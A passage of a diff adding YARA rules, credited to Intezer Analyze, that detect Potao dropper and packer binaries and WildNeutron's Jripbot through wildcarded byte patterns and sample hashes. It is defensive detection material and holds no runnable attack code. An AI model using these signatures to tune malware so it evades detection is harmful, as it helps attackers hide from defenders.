+		$block_0 = { B9 ?? ?? ?? ?? D1 ?? 8B ?? ?? 0F B6 ?? ?? 99 B1 ?? E8 ?? ?? ?? ?? 33 ?? ?? 33 ?? ?? 89 ?? ?? 89 }
+		$block_1 = { 8B ?? ?? 0F BE ?? ?? 33 ?? 8B ?? ?? 88 ?? ?? ?? ?? ?? 8B ?? ?? 0F BE ?? ?? ?? ?? ?? 85 ?? 75 }
+		$block_2 = { B9 ?? ?? ?? ?? 6B ?? ?? 8B ?? ?? 0F B6 ?? ?? 33 ?? ?? 89 ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 }
+		$block_3 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 6A ?? FF 1? ?? ?? ?? ?? 8B ?? E8 ?? ?? ?? ?? 0F B6 ?? 83 ?? ?? 74 }
+		$block_4 = { 8B ?? ?? 0F B6 ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 7C }
+		$block_5 = { 8B ?? ?? 8D ?? ?? 0F B7 ?? ?? 8B ?? ?? 5? 8D ?? ?? 5? 8B ?? ?? 03 ?? 5? 8B ?? 5? C3 }
+		$block_6 = { 8B ?? ?? 0F B6 ?? ?? 8B ?? ?? 03 ?? ?? 0F B6 ?? 33 ?? 8B ?? ?? 03 ?? ?? 88 ?? EB }
+		$block_7 = { 5? 8B ?? 83 ?? ?? 89 ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 0F BE ?? 85 ?? 75 }
+		$block_8 = { 5? 8B ?? 83 ?? ?? 5? 5? 5? 89 ?? ?? FC 33 ?? 64 ?? ?? ?? ?? ?? ?? 8B ?? ?? 8B }
+		$block_9 = { 83 ?? ?? ?? ?? ?? ?? 60 0F 31 33 ?? 4? D1 ?? 23 ?? 89 ?? ?? 61 8B ?? ?? EB }
+		$block_10 = { 8B ?? ?? 83 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 87 }
+		$block_11 = { 5? 8B ?? 83 ?? ?? B8 ?? ?? ?? ?? 6B ?? ?? 0F BE ?? ?? ?? ?? ?? 85 ?? 74 }
+		$block_12 = { 8B ?? ?? 0F BE ?? ?? 8B ?? ?? 0F BE ?? ?? ?? ?? ?? 33 ?? 8B ?? ?? 88 }
+		$block_13 = { 8B ?? ?? 0F BE ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 74 }
+		$block_14 = { 8B ?? ?? 0F BE ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 75 }
+		$block_15 = { 8B ?? ?? 8B ?? ?? 8D ?? ?? 0F B7 ?? ?? 8D ?? ?? 8B ?? ?? 03 ?? EB }
+		$block_16 = { B9 ?? ?? ?? ?? C1 ?? ?? 8B ?? ?? 0F B6 ?? ?? C1 ?? ?? 33 ?? ?? 89 }
+		$block_17 = { 8B ?? ?? 8D ?? ?? 0F B7 ?? ?? 8B ?? ?? 8D ?? ?? 8B ?? ?? 03 ?? EB }
+		$block_18 = { 5? 8B ?? 5? 5? 5? 5? FC 33 ?? 64 ?? ?? ?? ?? ?? ?? 8B ?? ?? 8B }
+		$block_19 = { 8B ?? ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 87 }
+		$block_20 = { B9 ?? ?? ?? ?? D1 ?? 8B ?? ?? 0F B6 ?? ?? C1 ?? ?? 33 ?? ?? 89 }
+		$block_21 = { C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 0F BF ?? 81 F? ?? ?? ?? ?? 75 }
+		$block_22 = { B2 ?? B1 ?? E8 ?? ?? ?? ?? 0F B6 ?? ?? 88 ?? ?? ?? ?? ?? EB }
+		$block_23 = { 0F B6 ?? ?? C6 ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B ?? 5? C3 }
+		$block_24 = { 8B ?? ?? 89 ?? 33 ?? 85 ?? 0F 94 ?? 5? 5? 5? 8B ?? C9 C3 }
+		$block_25 = { 8B ?? ?? 03 ?? ?? 0F BE ?? 8B ?? ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_26 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_27 = { 83 ?? ?? ?? E8 ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? 0F 85 }
+		$block_28 = { 89 ?? ?? 8B ?? ?? 5? 5? A3 ?? ?? ?? ?? 5? C9 C3 }
+		$block_29 = { 8B ?? ?? 89 ?? 33 ?? 85 ?? 0F 94 ?? 8B ?? C9 C3 }
+		$block_30 = { 83 ?? ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 0F 85 }
+		$block_31 = { 8B ?? ?? 03 ?? ?? ?? ?? ?? 0F B6 ?? 83 ?? ?? 75 }
+		$block_32 = { 5? 8B ?? 5? 89 ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 85 }
+
+	condition:
+		hash.sha256(0, filesize) == "97afe4b12a9fed40ad20ab191ba0a577f5a46cbfb307e118a7ae69d04adc2e2d" or
+		hash.sha256(0, filesize) == "904bb2efe661f654425e691b7748556e558a636d4f25c43af9d2d4dfbe83262e" or
+		hash.sha256(0, filesize) == "2de76a3c07344ce322151dbb42febdff97ade8176466a3af07e5280bd859a186" or
+		hash.sha256(0, filesize) == "793a8ce811f423dfde47a5f44ae50e19e7e41ad055e56c7345927eac951e966b" or
+		hash.sha256(0, filesize) == "29dfc81b400a1400782623c618cb1d507f5d17bb13de44f123a333093648048f" or
+		hash.sha256(0, filesize) == "b62589ee5ba94d15edcf8613e3d57255dd7a12fce6d2dbd660fd7281ce6234f4" or
+		hash.sha256(0, filesize) == "4e88b8b121d768c611fe16ae1f008502b2191edc6f2ee84fef7b12b4d86fe000" or
+		hash.sha256(0, filesize) == "d2c11706736fda2b178ac388206472fd8d050e0f13568c84b37683423acd155d" or
+		hash.sha256(0, filesize) == "f1f61a0f9488be3925665f8063006f90fab1bf0bd0b6ff5f7799f8995ff8960e" or
+		12 of them
+}
+
+rule Potaov1Packed {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { FF 7? ?? FF 7? ?? E8 ?? ?? ?? ?? 5? 8D ?? ?? 5? FF 7? ?? FF 7? ?? FF 7? ?? FF 5? ?? 85 ?? 0F 84 }
+		$block_1 = { 6A ?? 68 ?? ?? ?? ?? FF 3? ?? ?? ?? ?? FF 3? ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_2 = { 9? 9? 9? 9? 9? 9? 9? 9? 68 ?? ?? ?? ?? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_3 = { 9? 9? 9? 9? 9? 9? 9? 9? 68 ?? ?? ?? ?? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 8B ?? 3B ?? 0F 84 }
+		$block_4 = { 5? 8B ?? 5? 5? 8B ?? ?? 8B ?? 0F B7 ?? ?? 83 ?? ?? ?? 33 ?? 8D ?? ?? ?? 66 ?? ?? ?? 0F 83 }
+		$block_5 = { FF 7? ?? 03 ?? FF 7? ?? FF 7? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_6 = { 5? 8D ?? ?? 5? 5? 5? 5? 5? 5? 8D ?? ?? 5? 68 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_7 = { 9? 9? 9? 9? 9? 9? 9? 9? 68 ?? ?? ?? ?? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_8 = { F3 ?? ?? ?? ?? 0F 57 ?? F3 ?? ?? ?? F2 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? 0F 86 }
+		$block_9 = { 8D ?? ?? E8 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 5? 0F B7 ?? ?? ?? ?? ?? 3B ?? 74 }
+		$block_10 = { 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 64 ?? ?? ?? ?? ?? ?? 5? 5? 5? C9 C2 }
+		$block_11 = { 6A ?? FF 1? ?? ?? ?? ?? 33 ?? 8B ?? ?? 64 ?? ?? ?? ?? ?? ?? 5? 5? 5? C9 C2 }
+		$block_12 = { 83 ?? ?? ?? ?? ?? ?? 60 0F 31 33 ?? 4? D1 ?? 23 ?? 89 ?? ?? 61 8B ?? ?? EB }
+		$block_13 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 5? 33 ?? 5? 5? 89 ?? ?? 39 ?? ?? ?? ?? ?? 0F 84 }
+		$block_14 = { FF 7? ?? FF 7? ?? FF 7? ?? FF 7? ?? E8 ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_15 = { D9 ?? ?? D9 ?? ?? DC ?? ?? ?? ?? ?? DF ?? F6 ?? ?? 0F 8A }
+		$block_16 = { 2B ?? 4? 89 ?? ?? ?? 60 9? 9? 9? 9? 9? 9? 61 33 ?? 33 }
+		$block_17 = { 2B ?? 4? 89 ?? ?? 60 9? 9? 9? 9? 9? 9? 61 33 ?? 33 }
+		$block_18 = { 6A ?? FF 1? ?? ?? ?? ?? 0C ?? 9E AD 9? B5 ?? CB }
+
+	condition:
+		hash.sha256(0, filesize) == "20198aad15943b67fea8a0826d5b77f014de5691fd6b3bc3a7c0331ca4681ce1" or
+		hash.sha256(0, filesize) == "ab8d308fd59a8db8a130fcfdb6db56c4f7717877c465be98f71284bdfccdfa25" or
+		hash.sha256(0, filesize) == "54a76f5cd5a32ed7d5fa78e5d8311bafc0de57a475bc2fddc23ee4b3510b9d44" or
+		hash.sha256(0, filesize) == "945c594aee1b5bd0f3a72abe8f5a3df74fc6ca686887db5e40fe859e3fc90bb1" or
+		hash.sha256(0, filesize) == "8a508924e46c9afadb6d8e863942bd33ce278b1cc1033dd3a8e2a77b8d3648a3" or
+		hash.sha256(0, filesize) == "2ff0941fe3514abc12484ad2853d22fd7cb36469a313b5ecb6ef0c6391cf78ab" or
+		hash.sha256(0, filesize) == "ac73eb13779656a5692082c11733731ec4e177ca46f36abdffb28efa39c0940b" or
+		12 of them
+}
+
+rule PotaoDropperFakeExcel {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 0F B6 ?? 33 ?? 69 ?? ?? ?? ?? ?? 8B ?? C1 ?? ?? 33 ?? 69 ?? ?? ?? ?? ?? 8B ?? C1 ?? ?? 5? 33 ?? 5? 5? C2 }
+		$block_1 = { 33 ?? 4? 6B ?? ?? 8B ?? ?? 0F B6 ?? ?? 8B ?? ?? 03 ?? ?? 0F B6 ?? 33 ?? 8B ?? ?? 03 ?? ?? 88 ?? EB }
+		$block_2 = { 8B ?? ?? 8D ?? ?? 0F B7 ?? ?? 8B ?? ?? 8D ?? ?? 8B ?? ?? 5? 03 ?? 5? 5? 8B ?? 5? C2 }
+		$block_3 = { 8B ?? ?? 8D ?? ?? 0F B7 ?? ?? 8B ?? ?? 5? 8D ?? ?? 5? 8B ?? ?? 03 ?? 5? 8B ?? 5? C3 }
+		$block_4 = { 8B ?? ?? 0F B6 ?? ?? 8B ?? ?? 03 ?? ?? 0F B6 ?? 33 ?? 8B ?? ?? 03 ?? ?? 88 ?? EB }
+		$block_5 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_6 = { 8B ?? ?? 33 ?? 85 ?? 0F 94 ?? 5? 89 ?? 5? 5? 8B ?? 8B ?? 5? C3 }
+		$block_7 = { C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_8 = { 8B ?? ?? 5? 33 ?? 89 ?? 85 ?? 5? 0F 94 ?? 5? C9 C2 }
+		$block_9 = { 1B ?? 83 ?? ?? 85 ?? 5? 0F 94 ?? 5? 8B ?? 5? C3 }
+
+	condition:
+		hash.sha256(0, filesize) == "aa23a93d2fed81daacb93ea7ad633426e04fcd063ff2ea6c0af5649c6cfa0385" or
+		hash.sha256(0, filesize) == "048621ecf8f25133b2b09d512bb0fe15fc274ec7cb2ccc966aeb44d7a88beb5b" or
+		hash.sha256(0, filesize) == "8bc189dee0a71b3a8a1767e95cc726e13808ed7d2e9546a9d6b6843cea5eb3bd" or
+		hash.sha256(0, filesize) == "c66955f667e9045ea5591ebf9b59246ad86227f174ea817d1398815a292b8c88" or
+		hash.sha256(0, filesize) == "d6f126ab387f1d856672c730991573385c5746c7c84738ab97b13c897063ff4a" or
+		10 of them
+}
+
+rule PotaoDropperw {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 03 ?? ?? ?? ?? ?? 0F B6 ?? 8B ?? ?? 0F B6 ?? 33 ?? 8B ?? ?? 03 ?? ?? ?? ?? ?? 88 ?? EB }
+		$block_1 = { 5? 5? 8D ?? ?? 5? 5? 6A ?? 5? E8 ?? ?? ?? ?? 5? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_2 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? 83 ?? ?? 74 }
+		$block_3 = { 8B ?? ?? 0F B6 ?? ?? 8B ?? ?? 03 ?? ?? 0F B6 ?? 33 ?? 8B ?? ?? 03 ?? ?? 88 ?? EB }
+		$block_4 = { 5? 8B ?? 83 ?? ?? 0F B6 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 }
+		$block_5 = { 5? 68 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? 3B ?? 0F 84 }
+		$block_6 = { A1 ?? ?? ?? ?? 0F B6 ?? ?? 0F B6 ?? 33 ?? 88 ?? ?? FF 0? ?? ?? ?? ?? EB }
+		$block_7 = { FF 7? ?? FF 1? ?? ?? ?? ?? 8B ?? ?? 64 ?? ?? ?? ?? ?? ?? 5? 5? 5? C9 C3 }
+		$block_8 = { 8B ?? 8D ?? ?? A5 A5 66 ?? 8D ?? ?? 89 ?? ?? 83 ?? ?? ?? EB }
+		$block_9 = { 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 9B 89 ?? ?? 83 ?? ?? ?? 75 }
+		$block_10 = { FF 7? ?? FF 1? ?? ?? ?? ?? 9B 89 ?? ?? 83 ?? ?? ?? 75 }
+		$block_11 = { 8B ?? ?? 4? 5? E8 ?? ?? ?? ?? 8B ?? 5? 3B ?? 0F 84 }
+		$block_12 = { 0F B6 ?? ?? ?? ?? ?? 83 ?? ?? 88 ?? ?? ?? ?? ?? EB }
+		$block_13 = { 8B ?? ?? 89 ?? 33 ?? 85 ?? 0F 94 ?? 8B ?? C9 C2 }
+
+	condition:
+		hash.sha256(0, filesize) == "61dd8b60ac35e91771d9ed4f337cd63e0aa6d0a0c5a17bb28cac59b3c21c24a9" or
+		hash.sha256(0, filesize) == "4328b06093a4ad01f828dc837053cb058fe00f3a7fd5cfb9d1ff7feb7ebb8e32" or
+		hash.sha256(0, filesize) == "cf3b0d8e9a7d0ad32351ade0c52de583b5ca2f72e5af4adbf638c81f4ad8fbcb" or
+		hash.sha256(0, filesize) == "dbc1b98b1df1d9c2dc8a5635682ed44a91df6359264ed63370724afa9f19c7ee" or
+		hash.sha256(0, filesize) == "15760f0979f2ba1b4d991f19e8b59fc1e61632fcc88755a4d147c0f5d47965c5" or
+		hash.sha256(0, filesize) == "b9c285f485421177e616a148410ddc5b02e43f0af375d3141b7e829f7d487bfd" or
+		12 of them
+}
+
+rule PotaoDebugDropper {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? 0F BE ?? ?? 33 ?? 8B ?? ?? 88 ?? ?? ?? ?? ?? 8B ?? ?? 0F BE ?? ?? ?? ?? ?? 85 ?? 75 }
+		$block_1 = { B9 ?? ?? ?? ?? 6B ?? ?? 8B ?? ?? 0F B6 ?? ?? 33 ?? ?? 89 ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 }
+		$block_2 = { 8B ?? ?? 0F B6 ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 7C }
+		$block_3 = { 5? 8B ?? 83 ?? ?? 89 ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 0F BE ?? 85 ?? 75 }
+		$block_4 = { 5? 8B ?? 83 ?? ?? 5? 5? 5? 89 ?? ?? FC 33 ?? 64 ?? ?? ?? ?? ?? ?? 8B ?? ?? 8B }
+		$block_5 = { 8B ?? ?? 83 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 87 }
+		$block_6 = { 5? 8B ?? 83 ?? ?? B8 ?? ?? ?? ?? 6B ?? ?? 0F BE ?? ?? ?? ?? ?? 85 ?? 74 }
+		$block_7 = { 6A ?? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 0F B6 ?? ?? 88 ?? ?? ?? ?? ?? EB }
+		$block_8 = { 8B ?? ?? 0F BE ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 74 }
+		$block_9 = { 8B ?? ?? 0F BE ?? ?? 8B ?? ?? 0F BE ?? ?? ?? ?? ?? 33 ?? 8B ?? ?? 88 }
+		$block_10 = { 8B ?? ?? 0F BE ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 75 }
+		$block_11 = { B9 ?? ?? ?? ?? C1 ?? ?? 8B ?? ?? 0F B6 ?? ?? C1 ?? ?? 33 ?? ?? 89 }
+		$block_12 = { 8B ?? ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 87 }
+		$block_13 = { B9 ?? ?? ?? ?? D1 ?? 8B ?? ?? 0F B6 ?? ?? C1 ?? ?? 33 ?? ?? 89 }
+		$block_14 = { 0F B6 ?? ?? C6 ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 8B ?? 5? C3 }
+		$block_15 = { C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 0F BF ?? 81 F? ?? ?? ?? ?? 75 }
+		$block_16 = { 8B ?? ?? 03 ?? ?? 0F BE ?? 8B ?? ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_17 = { 5? 8B ?? 81 E? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_18 = { 5? 8B ?? 5? 89 ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 85 }
+
+	condition:
+		hash.sha256(0, filesize) == "f845778c3f2e3272145621776a90f662ee9344e3ae550c76f65fd954e7277d19" or
+		hash.sha256(0, filesize) == "c821cb34c86ec259af37c389a8f6cd635d98753576c675882c9896025a1abc53" or
+		hash.sha256(0, filesize) == "910f55e1c4e75696405e158e40b55238d767730c60119539b644ef3e6bc32a5d" or
+		12 of them
+}
+
+rule WildNeutronJripbot {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 5? 68 ?? ?? ?? ?? 6A ?? 5? 5? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 89 ?? ?? 83 ?? ?? 0F 84 }
+		$block_1 = { 8B ?? ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 6A ?? 8D ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_2 = { 0F B6 ?? ?? ?? 5? 68 ?? ?? ?? ?? 6A ?? 6A ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 4? 83 ?? ?? 83 ?? ?? 72 }
+		$block_3 = { 8B ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_4 = { 5? 5? 8D ?? ?? ?? ?? ?? 5? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 8B ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 0F 84 }
+		$block_5 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? 89 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? 0F 85 }
+		$block_6 = { 8B ?? ?? ?? 0F B6 ?? ?? ?? 5? 5? 8D ?? ?? ?? E8 ?? ?? ?? ?? FF 4? ?? ?? 83 ?? ?? ?? ?? 5? 5? 72 }
+		$block_7 = { 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? 83 ?? ?? 0F 84 }
+		$block_8 = { 8D ?? ?? ?? 5? BB ?? ?? ?? ?? 5? FF 7? ?? E8 ?? ?? ?? ?? 83 ?? ?? 3B ?? 8B ?? ?? ?? ?? ?? 0F 84 }
+		$block_9 = { 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? FF D? 0F B7 ?? ?? ?? 6A ?? 6A ?? 8D ?? ?? ?? 89 ?? ?? ?? 5? E9 }
+		$block_10 = { 8B ?? ?? ?? ?? ?? 8B ?? 5? 8D ?? ?? ?? ?? ?? 5? 6A ?? FF B? ?? ?? ?? ?? FF 5? ?? 85 ?? 0F 85 }
+		$block_11 = { 5? 68 ?? ?? ?? ?? 6A ?? 5? 5? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_12 = { 33 ?? 5? 5? 8D ?? ?? ?? ?? ?? 5? 5? 8D ?? ?? ?? ?? ?? 5? FF 3? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_13 = { 5? 8D ?? ?? ?? ?? ?? 5? 5? 8B ?? E8 ?? ?? ?? ?? 83 ?? ?? 33 ?? 8B ?? 39 ?? ?? ?? ?? ?? 0F 8E }
+		$block_14 = { 5? 8B ?? 83 ?? ?? 5? 5? 8B ?? 8B ?? ?? 8D ?? ?? ?? ?? ?? 89 ?? ?? 0F B7 ?? 5? 66 ?? ?? 0F 84 }
+		$block_15 = { 8A ?? ?? 0F B6 ?? 8B ?? ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_16 = { 8B ?? ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_17 = { 0F B7 ?? 8B ?? ?? 33 ?? 8D ?? ?? ?? F7 ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? 85 ?? 0F 84 }
+		$block_18 = { 8D ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? 0F B7 ?? 66 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_19 = { 8D ?? ?? 5? 6A ?? FF D? 5? FF 1? ?? ?? ?? ?? 0F BF ?? ?? ?? ?? ?? 0F BF ?? ?? 4? 3B ?? 75 }
+		$block_20 = { 83 ?? ?? 5? 8D ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 ?? 8D ?? ?? AB AA 8B ?? ?? 5? 8D }
+		$block_21 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 6A ?? 6A ?? 6A ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_22 = { 0F BF ?? ?? ?? ?? ?? 2B ?? D1 ?? 03 ?? 0F B7 ?? 9? 99 F7 ?? 4? 89 ?? ?? ?? ?? ?? 3B ?? 75 }
+		$block_23 = { 33 ?? 66 ?? ?? 0F B7 ?? ?? 83 ?? ?? F7 ?? 1B ?? 23 ?? 5? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_24 = { 0F B7 ?? ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? ?? ?? 6A ?? 5? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 }
+		$block_25 = { 8A ?? ?? 0F B6 ?? 8B ?? ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 74 }
+		$block_26 = { 5? 8B ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? 8B ?? ?? 85 ?? 0F 84 }
+		$block_27 = { 8D ?? ?? ?? 5? 5? 8B ?? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? 39 ?? ?? ?? 0F 8E }
+		$block_28 = { FF B? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? FF 8? ?? ?? ?? ?? 81 B? ?? ?? ?? ?? ?? ?? ?? ?? 0F 85 }
+		$block_29 = { 5? 8B ?? E8 ?? ?? ?? ?? 8B ?? 8B ?? ?? ?? ?? ?? 0F B6 ?? ?? 83 ?? ?? 83 ?? ?? 83 ?? ?? 77 }
+		$block_30 = { 0F B7 ?? ?? 33 ?? 66 ?? ?? ?? 5? 0F 94 ?? 83 ?? ?? 33 ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 75 }
+		$block_31 = { 8B ?? ?? 8D ?? ?? 5? 5? E8 ?? ?? ?? ?? 33 ?? 39 ?? ?? 5? 0F 94 ?? 8D ?? ?? 5? 89 ?? ?? 8D }
+		$block_32 = { 8B ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 0F B7 ?? 83 ?? ?? 5? 68 ?? ?? ?? ?? EB }
+		$block_33 = { 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_34 = { 0F B7 ?? 5? E8 ?? ?? ?? ?? 0F B7 ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 74 }
+		$block_35 = { 5? E8 ?? ?? ?? ?? 0F B7 ?? ?? 83 ?? ?? 5? 66 ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 74 }
+		$block_36 = { 0F B7 ?? 33 ?? 83 ?? ?? 0F 94 ?? 83 ?? ?? 66 ?? ?? 0F B7 ?? 83 ?? ?? 33 ?? 66 ?? ?? 75 }
+		$block_37 = { 8B ?? 5? 5? 5? 89 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_38 = { 8B ?? ?? 03 ?? 8B ?? ?? 03 ?? 03 ?? D1 ?? 89 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_39 = { 8D ?? ?? ?? 5? 6A ?? BA ?? ?? ?? ?? 8B ?? 8B ?? E8 ?? ?? ?? ?? 8B ?? 5? 5? 85 ?? 0F 84 }
+		$block_40 = { BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? 85 ?? 0F 85 }
+		$block_41 = { 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 5? 6A ?? FF 1? ?? ?? ?? ?? 89 ?? ?? ?? 3B ?? 0F 84 }
+		$block_42 = { 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_43 = { 8B ?? 6B ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 5? 89 ?? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_44 = { 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 5? 6A ?? FF 1? ?? ?? ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_45 = { 8B ?? ?? 2B ?? ?? D1 ?? 03 ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_46 = { 0F B6 ?? ?? 5? 8D ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8D ?? ?? ?? 83 ?? ?? 8D }
+		$block_47 = { BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_48 = { 0F B7 ?? ?? ?? 0F B7 ?? ?? ?? 5? 5? 5? 5? 0F B7 ?? ?? ?? 5? 6A ?? 68 ?? ?? ?? ?? EB }
